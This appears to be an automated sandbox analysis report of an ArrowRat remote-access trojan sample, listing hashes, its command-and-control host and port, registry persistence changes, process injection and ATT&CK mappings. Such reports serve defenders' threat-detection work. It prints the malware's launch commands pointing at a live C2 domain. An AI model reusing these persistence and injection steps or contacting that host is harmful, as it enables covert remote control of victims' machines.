arrowrat | 79cde129a3ca0865d953d1e1e664497100c5d185f14ba49e6aa261f6f0282132

Analysis

max time kernel
81s
max time network
62s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
11/01/2025, 11:39 UTC

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

pandora.exe
Size

158KB
MD5

990b4366c8214281b19989fff2beebb7
SHA1

56814a2602db00e25bbb2c07aaf8ebffce00f6ef
SHA256

79cde129a3ca0865d953d1e1e664497100c5d185f14ba49e6aa261f6f0282132
SHA512

d6c461aec2e0becbaf76c8e6ebc9ed249c26c0a203af4445c5af999724dffa4653c4f3b6e4b597b99dd66943e7b36c8e9f613825183926556f456a26d22e6681
SSDEEP

3072:wbzoH+0OoCthfbEFtbcfjF45gjryKKqH6JY2doszEmQotEPPcfPodO8Y:wbzoe0ODhTEPgnjuIJzo+PPcfPoQ8

Score

10^/10

arrowrat hvnc persistence privilege_escalation rat

Malware Config

Extracted

Family

arrowrat

Botnet

HVNC

vshostupdater.duckdns.org:34357

Mutex

TnXRoYazW

Signatures

ArrowRat
Remote access tool with various capabilities first seen in late 2021.
rat arrowrat
Arrowrat family
arrowrat

Modifies WinLogon for persistence 2 TTPs 1 IoCs

persistence

Winlogon Helper DLL

T1547.004

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2872745919-2748461613-2989606286-1000\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, C:\\Users\\Admin\\AppData\\Roaming\\Pan\\windowscc"	pandora.exe

Boot or Logon Autostart Execution: Active Setup 2 TTPs 6 IoCs

Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.

persistence

Active Setup

T1547.014

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Microsoft\Active Setup\Installed Components\{89820200-ECBD-11cf-8B85-00AA005B4383}	ie4uinit.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Active Setup\Installed Components\{89820200-ECBD-11cf-8B85-00AA005B4383}\IsInstalled = "1"	ie4uinit.exe
Key created	\REGISTRY\USER\S-1-5-21-2872745919-2748461613-2989606286-1000\Software\Microsoft\Active Setup\Installed Components\{89820200-ECBD-11cf-8B85-00AA005B4383}	ie4uinit.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2872745919-2748461613-2989606286-1000\Software\Microsoft\Active Setup\Installed Components\{89820200-ECBD-11cf-8B85-00AA005B4383}\Locale = "*"	ie4uinit.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2872745919-2748461613-2989606286-1000\Software\Microsoft\Active Setup\Installed Components\{89820200-ECBD-11cf-8B85-00AA005B4383}\Version = "11,0,9600,0"	ie4uinit.exe
Key created	\REGISTRY\USER\S-1-5-21-2872745919-2748461613-2989606286-1000\Software\Microsoft\Active Setup\Installed Components	explorer.exe

Event Triggered Execution: Component Object Model Hijacking 1 TTPs
Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.
persistence privilege_escalation

Component Object Model Hijacking
T1546.015
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies Internet Explorer settings 1 TTPs 51 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Microsoft\Internet Explorer\EmbedExtnToClsidMappings\.aiff	unregmp2.exe
Key created	\REGISTRY\MACHINE\Software\Microsoft\Internet Explorer\EmbedExtnToClsidMappings\.au	unregmp2.exe
Key created	\REGISTRY\MACHINE\Software\Microsoft\Internet Explorer\EmbedExtnToClsidMappings\.wpl	unregmp2.exe
Key created	\REGISTRY\MACHINE\Software\Microsoft\Internet Explorer\EmbedExtnToClsidMappings\.m4a	unregmp2.exe
Key created	\REGISTRY\MACHINE\Software\Microsoft\Internet Explorer\EmbedExtnToClsidMappings\.wmx	unregmp2.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Internet Explorer\Capabilities\Hidden = "0"	ie4uinit.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2872745919-2748461613-2989606286-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\CVListTTL = "0"	ie4uinit.exe
Key created	\REGISTRY\MACHINE\Software\Microsoft\Internet Explorer\EmbedExtnToClsidMappings\.3g2	unregmp2.exe
Key created	\REGISTRY\MACHINE\Software\Microsoft\Internet Explorer\EmbedExtnToClsidMappings\.aifc	unregmp2.exe
Key created	\REGISTRY\MACHINE\Software\Microsoft\Internet Explorer\EmbedExtnToClsidMappings\.asx	unregmp2.exe
Key created	\REGISTRY\MACHINE\Software\Microsoft\Internet Explorer\EmbedExtnToClsidMappings\.m3u	unregmp2.exe
Key created	\REGISTRY\MACHINE\Software\Microsoft\Internet Explorer\EmbedExtnToClsidMappings\.mpeg	unregmp2.exe
Key created	\REGISTRY\MACHINE\Software\Microsoft\Internet Explorer\EmbedExtnToClsidMappings\.snd	unregmp2.exe
Key created	\REGISTRY\MACHINE\Software\Microsoft\Internet Explorer\Capabilities	ie4uinit.exe
Key created	\REGISTRY\MACHINE\Software\Microsoft\Internet Explorer\EmbedExtnToClsidMappings\.avi	unregmp2.exe
Key created	\REGISTRY\MACHINE\Software\Microsoft\Internet Explorer\EmbedExtnToClsidMappings\.mp2	unregmp2.exe
Key created	\REGISTRY\MACHINE\Software\Microsoft\Internet Explorer\EmbedExtnToClsidMappings\.mp2v	unregmp2.exe
Key created	\REGISTRY\MACHINE\Software\Microsoft\Internet Explorer\EmbedExtnToClsidMappings\.mp4	unregmp2.exe
Key created	\REGISTRY\MACHINE\Software\Microsoft\Internet Explorer\EmbedExtnToClsidMappings\.mp4v	unregmp2.exe
Key created	\REGISTRY\MACHINE\Software\Microsoft\Internet Explorer\EmbedExtnToClsidMappings\.3gp2	unregmp2.exe
Key created	\REGISTRY\MACHINE\Software\Microsoft\Internet Explorer\EmbedExtnToClsidMappings\.aac	unregmp2.exe
Key created	\REGISTRY\MACHINE\Software\Microsoft\Internet Explorer\EmbedExtnToClsidMappings\.adt	unregmp2.exe
Key created	\REGISTRY\MACHINE\Software\Microsoft\Internet Explorer\EmbedExtnToClsidMappings\.adts	unregmp2.exe
Key created	\REGISTRY\MACHINE\Software\Microsoft\Internet Explorer\EmbedExtnToClsidMappings\.asf	unregmp2.exe
Key created	\REGISTRY\MACHINE\Software\Microsoft\Internet Explorer\EmbedExtnToClsidMappings\.mov	unregmp2.exe
Key created	\REGISTRY\MACHINE\Software\Microsoft\Internet Explorer\EmbedExtnToClsidMappings\.m1v	unregmp2.exe
Key created	\REGISTRY\MACHINE\Software\Microsoft\Internet Explorer\EmbedExtnToClsidMappings\.m4v	unregmp2.exe
Key created	\REGISTRY\MACHINE\Software\Microsoft\Internet Explorer\EmbedExtnToClsidMappings\.midi	unregmp2.exe
Key created	\REGISTRY\MACHINE\Software\Microsoft\Internet Explorer\EmbedExtnToClsidMappings\.mpv2	unregmp2.exe
Key created	\REGISTRY\MACHINE\Software\Microsoft\Internet Explorer\EmbedExtnToClsidMappings\.wax	unregmp2.exe
Key created	\REGISTRY\MACHINE\Software\Microsoft\Internet Explorer\EmbedExtnToClsidMappings\.aif	unregmp2.exe
Key created	\REGISTRY\MACHINE\Software\Microsoft\Internet Explorer\EmbedExtnToClsidMappings\.m2v	unregmp2.exe
Key created	\REGISTRY\MACHINE\Software\Microsoft\Internet Explorer\EmbedExtnToClsidMappings\.mid	unregmp2.exe
Key created	\REGISTRY\MACHINE\Software\Microsoft\Internet Explorer\EmbedExtnToClsidMappings\.mod	unregmp2.exe
Key created	\REGISTRY\MACHINE\Software\Microsoft\Internet Explorer\EmbedExtnToClsidMappings\.mpe	unregmp2.exe
Key created	\REGISTRY\MACHINE\Software\Microsoft\Internet Explorer\EmbedExtnToClsidMappings\.mpg	unregmp2.exe
Key created	\REGISTRY\MACHINE\Software\Microsoft\Internet Explorer\EmbedExtnToClsidMappings\.wma	unregmp2.exe
Key created	\REGISTRY\MACHINE\Software\Microsoft\Internet Explorer\EmbedExtnToClsidMappings\.wmz	unregmp2.exe
Key created	\REGISTRY\MACHINE\Software\Microsoft\Internet Explorer\EmbedExtnToClsidMappings\.wvx	unregmp2.exe
Key created	\REGISTRY\MACHINE\Software\Microsoft\Internet Explorer\EmbedExtnToClsidMappings\.wm	unregmp2.exe
Key created	\REGISTRY\MACHINE\Software\Microsoft\Internet Explorer\EmbedExtnToClsidMappings\.wmd	unregmp2.exe
Key created	\REGISTRY\USER\S-1-5-21-2872745919-2748461613-2989606286-1000\Software\Microsoft\Internet Explorer\BrowserEmulation	ie4uinit.exe
Key created	\REGISTRY\USER\S-1-5-21-2872745919-2748461613-2989606286-1000\Software\Microsoft\Internet Explorer\Main	ie4uinit.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2872745919-2748461613-2989606286-1000\Software\Microsoft\Internet Explorer\Main\OperationalData = "4"	ie4uinit.exe
Key created	\REGISTRY\MACHINE\Software\Microsoft\Internet Explorer\EmbedExtnToClsidMappings\.3gp	unregmp2.exe
Key created	\REGISTRY\MACHINE\Software\Microsoft\Internet Explorer\EmbedExtnToClsidMappings\.rmi	unregmp2.exe
Key created	\REGISTRY\MACHINE\Software\Microsoft\Internet Explorer\EmbedExtnToClsidMappings\.wav	unregmp2.exe
Key created	\REGISTRY\MACHINE\Software\Microsoft\Internet Explorer\EmbedExtnToClsidMappings\.wmv	unregmp2.exe
Key created	\REGISTRY\MACHINE\Software\Microsoft\Internet Explorer\EmbedExtnToClsidMappings\.3gpp	unregmp2.exe
Key created	\REGISTRY\MACHINE\Software\Microsoft\Internet Explorer\EmbedExtnToClsidMappings\.mp3	unregmp2.exe
Key created	\REGISTRY\MACHINE\Software\Microsoft\Internet Explorer\EmbedExtnToClsidMappings\.mpa	unregmp2.exe

Modifies registry class 64 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\DVD\DefaultIcon	unregmp2.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Microsoft.Website	ie4uinit.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\https\shell\open	ie4uinit.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\open\ = "Open in S&ame Window"	ie4uinit.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Stack.Image\shell\Play\NeverDefault	unregmp2.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\.ADTS\OpenWithProgIds\WMP11.AssocFile.ADTS = "0"	unregmp2.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.ADTS\ = "WMP11.AssocFile.ADTS"	unregmp2.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mov	unregmp2.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Applications\wmplayer.exe\SupportedTypes\.mpv2	unregmp2.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WMP11.AssocFile.3GP	unregmp2.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\MIME\Database\Content Type\video/x-mpeg\Extension = ".mpeg"	unregmp2.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Applications\wmplayer.exe\SupportedTypes\.wmv	unregmp2.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\MIME\Database\Content Type\video/x-ms-asf-plugin\CLSID = "{cd3afa8f-b84f-48f0-9393-7edc34128127}"	unregmp2.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\https	ie4uinit.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\xhtmlfile\shell	ie4uinit.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Applications\iexplore.exe\shell	ie4uinit.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\SystemFileAssociations\Directory.Image\shell\Play\ = "&Play with Windows Media Player"	unregmp2.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mpa\OpenWithProgIds\WMP11.AssocFile.MPEG = "0"	unregmp2.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\http\DefaultIcon\ = "%SystemRoot%\\system32\\url.dll,0"	ie4uinit.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Stack.Audio\shell\Enqueue\ = "&Add to Windows Media Player list"	unregmp2.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\.wm\OpenWithProgIds\WMP11.AssocFile.ASF = "0"	unregmp2.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\MIME\Database\Content Type\audio/x-ms-wax	unregmp2.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\MIME\Database\Content Type\audio/x-ms-wma\CLSID = "{cd3afa84-b84f-48f0-9393-7edc34128127}"	unregmp2.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\MMS\DefaultIcon\ = "%SystemRoot%\\system32\\wmploc.dll,-730"	unregmp2.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\InternetShortcut\ShellEx\PropertySheetHandlers\{FBF23B40-E3F0-101B-8488-00AA003E56F8}	ie4uinit.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\SystemFileAssociations\Directory.Audio\shellex\ContextMenuHandlers\WMPShopMusic\ = "{8A734961-C4AA-4741-AC1E-791ACEBF5B39}"	unregmp2.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.ADT\MP2.Last = "Custom"	unregmp2.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.dvr-ms\OpenWithProgIds	unregmp2.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\MIME\Database\Content Type\video/vnd.dlna.mpeg-tts	unregmp2.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\svgfile\shell	ie4uinit.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\xhtmlfile\shell\opennew\command	ie4uinit.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\MIME\Database\Content Type\video/vnd.dlna.mpeg-tts\Extension = ".tts"	unregmp2.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\MIME\Database\Content Type\video/x-msvideo\CLSID = "{cd3afa88-b84f-48f0-9393-7edc34128127}"	unregmp2.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\svgfile\FriendlyTypeName = "@C:\\Windows\\system32\\ieframe.dll,-914"	ie4uinit.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.m2ts\OpenWithProgIds	unregmp2.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\MIME\Database\Content Type\audio/x-mpg	unregmp2.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\DVD\shell\play\command	unregmp2.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{0002DF01-0000-0000-C000-000000000046}	ie4uinit.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mp3\OpenWithProgIds	unregmp2.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.wm	unregmp2.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WMP11.AssocFile.MOV	unregmp2.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\MIME\Database\Content Type\video/x-ms-asf	unregmp2.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\svgfile\DefaultIcon	ie4uinit.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\opennew	ie4uinit.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Applications\wmplayer.exe\SupportedTypes\.mp4	unregmp2.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WMP11.AssocFile.ADTS	unregmp2.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\SystemFileAssociations\Directory.Image\shell\Enqueue\ = "&Add to Windows Media Player list"	unregmp2.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\SystemFileAssociations\Directory.Video\shell\Enqueue\MUIVerb = "@%SystemRoot%\\system32\\unregmp2.exe,-9800"	unregmp2.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Stack.Video\shell\Play\NeverDefault	unregmp2.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Applications\wmplayer.exe\SupportedTypes\.asx	unregmp2.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mid\ = "WMP11.AssocFile.MIDI"	unregmp2.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\svgfile\shell\open	ie4uinit.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\.rmi\OpenWithProgIds\WMP11.AssocFile.MIDI = "0"	unregmp2.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\MIME\Database\Content Type\audio/vnd.dlna.adts\Extension = ".adts"	unregmp2.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\open\MUIVerb = "@C:\\Windows\\system32\\ieframe.dll,-5732"	ie4uinit.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\MIME\Database\Content Type\video/x-ms-wm\Extension = ".wm"	unregmp2.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mpe\OpenWithProgIds	unregmp2.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WMP11.AssocFile.MIDI	unregmp2.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\xhtmlfile\shell\printto\command\ = "\"C:\\Windows\\system32\\rundll32.exe\" \"C:\\Windows\\system32\\mshtml.dll\",PrintHTML \"%1\" \"%2\" \"%3\" \"%4\""	ie4uinit.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\NetworkExplorerPlugins\urn:schemas-upnp-org:device:MediaRenderer:1\ShellEx\ContextMenuHandlers\{17FC1A80-140E-4290-A64F-4A29A951A867}	unregmp2.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\SystemFileAssociations\Directory.Video\shell\Enqueue\command\DelegateExecute = "{45597c98-80f6-4549-84ff-752cf55e2d29}"	unregmp2.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.midi	unregmp2.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Applications\wmplayer.exe\SupportedTypes\.mts	unregmp2.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.wvx\OpenWithProgIds	unregmp2.exe

Suspicious behavior: EnumeratesProcesses 21 IoCs

pid	Process
2956	pandora.exe
2956	pandora.exe
2956	pandora.exe
2956	pandora.exe
2956	pandora.exe
2956	pandora.exe
2956	pandora.exe
2956	pandora.exe
2956	pandora.exe
2956	pandora.exe
2956	pandora.exe
2956	pandora.exe
2956	pandora.exe
2956	pandora.exe
2956	pandora.exe
2956	pandora.exe
2956	pandora.exe
2956	pandora.exe
2956	pandora.exe
2956	pandora.exe
2956	pandora.exe

Suspicious use of AdjustPrivilegeToken 12 IoCs

description	pid	Process
Token: SeDebugPrivilege	2956	pandora.exe
Token: SeShutdownPrivilege	3060	explorer.exe
Token: SeShutdownPrivilege	3060	explorer.exe
Token: SeShutdownPrivilege	3060	explorer.exe
Token: SeShutdownPrivilege	3060	explorer.exe
Token: SeShutdownPrivilege	3060	explorer.exe
Token: SeShutdownPrivilege	3060	explorer.exe
Token: SeShutdownPrivilege	3060	explorer.exe
Token: SeShutdownPrivilege	3060	explorer.exe
Token: SeShutdownPrivilege	3060	explorer.exe
Token: SeShutdownPrivilege	3060	explorer.exe
Token: SeShutdownPrivilege	3060	explorer.exe

Suspicious use of FindShellTrayWindow 27 IoCs

pid	Process
3060	explorer.exe
3060	explorer.exe
3060	explorer.exe
3060	explorer.exe
3060	explorer.exe
3060	explorer.exe
3060	explorer.exe
3060	explorer.exe
3060	explorer.exe
3060	explorer.exe
3060	explorer.exe
3060	explorer.exe
3060	explorer.exe
3060	explorer.exe
3060	explorer.exe
3060	explorer.exe
3060	explorer.exe
3060	explorer.exe
3060	explorer.exe
3060	explorer.exe
3060	explorer.exe
3060	explorer.exe
3060	explorer.exe
3060	explorer.exe
3060	explorer.exe
3060	explorer.exe
2780	ComputerDefaults.exe

Suspicious use of SendNotifyMessage 19 IoCs

pid	Process
3060	explorer.exe
3060	explorer.exe
3060	explorer.exe
3060	explorer.exe
3060	explorer.exe
3060	explorer.exe
3060	explorer.exe
3060	explorer.exe
3060	explorer.exe
3060	explorer.exe
3060	explorer.exe
3060	explorer.exe
3060	explorer.exe
3060	explorer.exe
3060	explorer.exe
3060	explorer.exe
3060	explorer.exe
3060	explorer.exe
3060	explorer.exe

Suspicious use of WriteProcessMemory 55 IoCs

description	pid	Process	procid_target
PID 2956 wrote to memory of 3060	2956	pandora.exe	31
PID 2956 wrote to memory of 3060	2956	pandora.exe	31
PID 2956 wrote to memory of 3060	2956	pandora.exe	31
PID 3060 wrote to memory of 2744	3060	explorer.exe	32
PID 3060 wrote to memory of 2744	3060	explorer.exe	32
PID 3060 wrote to memory of 2744	3060	explorer.exe	32
PID 2956 wrote to memory of 2768	2956	pandora.exe	33
PID 2956 wrote to memory of 2768	2956	pandora.exe	33
PID 2956 wrote to memory of 2768	2956	pandora.exe	33
PID 2956 wrote to memory of 2768	2956	pandora.exe	33
PID 2956 wrote to memory of 2700	2956	pandora.exe	34
PID 2956 wrote to memory of 2700	2956	pandora.exe	34
PID 2956 wrote to memory of 2700	2956	pandora.exe	34
PID 2956 wrote to memory of 2700	2956	pandora.exe	34
PID 2956 wrote to memory of 2548	2956	pandora.exe	35
PID 2956 wrote to memory of 2548	2956	pandora.exe	35
PID 2956 wrote to memory of 2548	2956	pandora.exe	35
PID 2956 wrote to memory of 2548	2956	pandora.exe	35
PID 2956 wrote to memory of 2212	2956	pandora.exe	36
PID 2956 wrote to memory of 2212	2956	pandora.exe	36
PID 2956 wrote to memory of 2212	2956	pandora.exe	36
PID 2956 wrote to memory of 2212	2956	pandora.exe	36
PID 2956 wrote to memory of 2880	2956	pandora.exe	37
PID 2956 wrote to memory of 2880	2956	pandora.exe	37
PID 2956 wrote to memory of 2880	2956	pandora.exe	37
PID 2956 wrote to memory of 2880	2956	pandora.exe	37
PID 2956 wrote to memory of 2704	2956	pandora.exe	38
PID 2956 wrote to memory of 2704	2956	pandora.exe	38
PID 2956 wrote to memory of 2704	2956	pandora.exe	38
PID 2956 wrote to memory of 2704	2956	pandora.exe	38
PID 2956 wrote to memory of 2576	2956	pandora.exe	39
PID 2956 wrote to memory of 2576	2956	pandora.exe	39
PID 2956 wrote to memory of 2576	2956	pandora.exe	39
PID 2956 wrote to memory of 2576	2956	pandora.exe	39
PID 2956 wrote to memory of 2668	2956	pandora.exe	40
PID 2956 wrote to memory of 2668	2956	pandora.exe	40
PID 2956 wrote to memory of 2668	2956	pandora.exe	40
PID 2956 wrote to memory of 2668	2956	pandora.exe	40
PID 2956 wrote to memory of 2800	2956	pandora.exe	41
PID 2956 wrote to memory of 2800	2956	pandora.exe	41
PID 2956 wrote to memory of 2800	2956	pandora.exe	41
PID 2956 wrote to memory of 2800	2956	pandora.exe	41
PID 2956 wrote to memory of 2852	2956	pandora.exe	42
PID 2956 wrote to memory of 2852	2956	pandora.exe	42
PID 2956 wrote to memory of 2852	2956	pandora.exe	42
PID 2956 wrote to memory of 2852	2956	pandora.exe	42
PID 2956 wrote to memory of 2780	2956	pandora.exe	43
PID 2956 wrote to memory of 2780	2956	pandora.exe	43
PID 2956 wrote to memory of 2780	2956	pandora.exe	43
PID 2780 wrote to memory of 2836	2780	ComputerDefaults.exe	44
PID 2780 wrote to memory of 2836	2780	ComputerDefaults.exe	44
PID 2780 wrote to memory of 2836	2780	ComputerDefaults.exe	44
PID 2780 wrote to memory of 1600	2780	ComputerDefaults.exe	45
PID 2780 wrote to memory of 1600	2780	ComputerDefaults.exe	45
PID 2780 wrote to memory of 1600	2780	ComputerDefaults.exe	45

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\pandora.exe
"C:\Users\Admin\AppData\Local\Temp\pandora.exe"
1⤵
- Modifies WinLogon for persistence
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2956
- C:\Windows\explorer.exe
  "C:\Windows\explorer.exe"
  2⤵
  - Boot or Logon Autostart Execution: Active Setup
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  - Suspicious use of WriteProcessMemory
  PID:3060
- - C:\Windows\system32\ctfmon.exe
    ctfmon.exe
    3⤵
    PID:2744
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" HVNC vshostupdater.duckdns.org 34357 TnXRoYazW
  2⤵
  PID:2768
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" HVNC vshostupdater.duckdns.org 34357 TnXRoYazW
  2⤵
  PID:2700
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" HVNC vshostupdater.duckdns.org 34357 TnXRoYazW
  2⤵
  PID:2548
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" HVNC vshostupdater.duckdns.org 34357 TnXRoYazW
  2⤵
  PID:2212
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" HVNC vshostupdater.duckdns.org 34357 TnXRoYazW
  2⤵
  PID:2880
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" HVNC vshostupdater.duckdns.org 34357 TnXRoYazW
  2⤵
  PID:2704
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" HVNC vshostupdater.duckdns.org 34357 TnXRoYazW
  2⤵
  PID:2576
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" HVNC vshostupdater.duckdns.org 34357 TnXRoYazW
  2⤵
  PID:2668
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" HVNC vshostupdater.duckdns.org 34357 TnXRoYazW
  2⤵
  PID:2800
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" HVNC vshostupdater.duckdns.org 34357 TnXRoYazW
  2⤵
  PID:2852
- C:\Windows\System32\ComputerDefaults.exe
  "C:\Windows\System32\ComputerDefaults.exe"
  2⤵
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of WriteProcessMemory
  PID:2780
- - C:\Windows\System32\ie4uinit.exe
    "C:\Windows\System32\ie4uinit.exe" -reinstall
    3⤵
    - Boot or Logon Autostart Execution: Active Setup
    - Modifies Internet Explorer settings
    - Modifies registry class
    PID:2836
- - C:\Windows\system32\unregmp2.exe
    C:\Windows\system32\unregmp2.exe /SetWMPAsDefault
    3⤵
    - Modifies Internet Explorer settings
    - Modifies registry class
    PID:1600

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Active Setup

T1547.014

Winlogon Helper DLL

T1547.004

Event Triggered Execution

T1546

Component Object Model Hijacking

T1546.015

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Active Setup

T1547.014

Winlogon Helper DLL

T1547.004

Event Triggered Execution

T1546

Component Object Model Hijacking

T1546.015

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\Internet Explorer.lnk

Filesize
1KB

MD5
edd62b5f24eaf476a537dfa7544c4931

SHA1
57005485398d6d13d744965ff7d2fd9a17b42735

SHA256
d51b8980a455c5a3eba911c4a22afa3aa11af25885072993bc32f34c8b54bb6d

SHA512
c7fde8ff9068765b7e351c027b484e14db11f84912db98df031f7b5321670316b2949917d8d1c91a4cead0cb1b3400cc4eadeed9c935d48eb4ac847ecf874fd4

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessories\System Tools\Internet Explorer (No Add-ons).lnk

Filesize
1KB

MD5
fe6dc32728f676f4c71d45f5eceb4953

SHA1
b71c45edb7e827385b6d4a327b1300d61149521f

SHA256
3e8d4d535c20fa7032aa7c1716782818854b2a0ecb4108e8676315b71211b3c9

SHA512
